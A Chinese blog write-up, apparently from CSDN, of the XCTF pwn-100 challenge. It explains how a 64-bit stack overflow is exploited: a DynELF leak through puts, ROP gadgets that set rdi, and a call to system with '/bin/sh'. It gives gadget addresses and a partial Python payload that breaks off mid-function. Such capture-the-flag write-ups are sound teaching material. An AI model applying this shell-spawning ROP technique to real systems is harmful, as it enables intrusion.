64位程序rop链构造|攻防世界pwn进阶区 pwn-100

本文介绍了如何利用64位程序的栈溢出漏洞构造ROP链,通过DynELF模块泄露system函数地址,并详细阐述了32位与64位程序在函数调用参数传递上的差异。利用puts函数的特性,最终实现程序控制权的接管。
摘要由CSDN通过智能技术生成

前言

这一题和pwn-200有类似之处,都是栈溢出漏洞,可以循环泄露,所以都使用DynELF来泄露。但是pwn200是32位程序用rop,pwn100是64位程序用rop。区别在于32位程序利用栈布局,而64位程序调用参数是利用寄存器。且本题是用puts函数来泄露,puts函数不能指定输出字符串的长度。

利用思路

0x01.ida调试发现sub_40063D函数可以溢出

在这里插入图片描述

0x02.cyclic计算溢出需要填充72字节

0x03.checksec看一下保护

 Arch:     amd64-64-little
    RELRO:    Partial RELRO //可以修改GOT表
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)//未开启地址随机化

0x04.利用思路:

1.利用DynELF模块泄露system函数地址
2.构造rop链,写入"/bin/sh"
3.调用system函数

0x05.可以用vmmap查找binary文件地址

在这里插入图片描述
这里找到一个 rw-p的地址,即可写地址 0x601000,pwn-200做的时候是用的bss段地址bss_addr=elf.bss(),但是这一题我看网上wp基本没有用bss段地址的,我自己试了一下用bss段地址打不通。

0x06.用 ROPgadget --binary pwn100 --only "pop|ret" | grep rdi命令寻找ROP

在这里插入图片描述

poprdi_addr=0x400763
pop6_addr=0x40075a

0x07.32位程序和64位程序的差别

  • 32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。
  • x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;

传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。
参考blog

0x08.写出leak函数

def leak(address):
    count = 0
    up = ''
    content = ''
    payload = junk
    payload += p64(pop_rdi) #给put的参数
    payload += p64(address) #leak函数的参数
    payload += p64(puts_addr) #调用put函数
    payload += p64(start_addr) #跳转到start,恢复栈
    payload = payload.ljust(200,'B') #填充到200字节,触发循环的break
    r.send(payload)
    r.recvuntil("bye~\n")

利用过程

0x01.先尝试泄露

在这里插入图片描述
在这里插入图片描述
0x4个字节时候才是需要泄露的地址

def leak(address):
    count = 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值